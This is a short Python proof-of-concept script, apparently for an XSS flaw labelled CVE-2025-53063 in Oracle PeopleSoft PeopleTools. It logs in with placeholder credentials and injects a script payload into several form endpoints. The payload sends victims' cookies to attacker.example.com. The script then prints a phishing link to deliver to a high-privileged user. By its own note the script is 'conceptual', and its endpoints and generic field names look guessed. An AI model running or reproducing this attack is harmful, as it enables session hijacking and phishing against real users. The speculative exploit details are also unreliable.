CVE-2025-53063 Oracle PeopleSoft PeopleTools PIA Core Technology漏洞

# CVE-2025-53063 - Oracle PeopleSoft PeopleTools PIA Core Technology XSS PoC # Note: This is a conceptual PoC based on vulnerability description. # Actual exploitation requires a valid low-privileged account on the target system. import requests from urllib.parse import urljoin TARGET_URL = "https://target-peoplesoft.example.com" ATTACKER_SESSION = "attacker_session_cookie" MALICIOUS_PAYLOAD = '<script>fetch("https://attacker.example.com/steal?data="+document.cookie)</script>' def exploit_xss(base_url, session_cookie, payload): """ Exploit XSS vulnerability in PIA Core Technology component. The attacker injects malicious script into a PeopleSoft page field that is rendered without proper sanitization. """ session = requests.Session() session.cookies.set("PS_TOKEN", session_cookie) session.headers.update({ "User-Agent": "Mozilla/5.0 (compatible; PoC)", "Content-Type": "application/x-www-form-urlencoded" }) # Step 1: Authenticate to PeopleSoft with low-privileged credentials login_url = urljoin(base_url, "/psp/ps/EMPLOYEE/CRM/signon.html") login_data = { "userid": "low_priv_user", "pwd": "password123", "ptmode": "f" } session.post(login_url, data=login_data) # Step 2: Inject malicious payload into a vulnerable input field # Common vulnerable endpoints in PIA Core Technology vulnerable_endpoints = [ "/psp/ps/EMPLOYEE/CRM/c/MAINTAIN_SECURITY.QUESTION.FORM", "/psp/ps/EMPLOYEE/CRM/c/SELFSERVICE_ADDRESS.FORM", "/psp/ps/EMPLOYEE/CRM/c/WORKFLOW.ATTACHMENT.FORM" ] for endpoint in vulnerable_endpoints: inject_url = urljoin(base_url, endpoint) inject_data = { "field1": payload, "field2": "normal_value", "submit": "Save" } response = session.post(inject_url, data=inject_data) if response.status_code == 200: print(f"[+] Payload injected via {endpoint}") # Step 3: Craft phishing link to deliver to victim (high-privileged user) phishing_url = urljoin(base_url, "/psp/ps/EMPLOYEE/CRM/s/WEBLIB_PTBR.ISCRIPT1.FieldFormula.IScript_View") print(f"[+] Send this URL to victim: {phishing_url}") print(f"[+] When victim clicks, script executes in their browser context") if __name__ == "__main__": exploit_xss(TARGET_URL, ATTACKER_SESSION, MALICIOUS_PAYLOAD)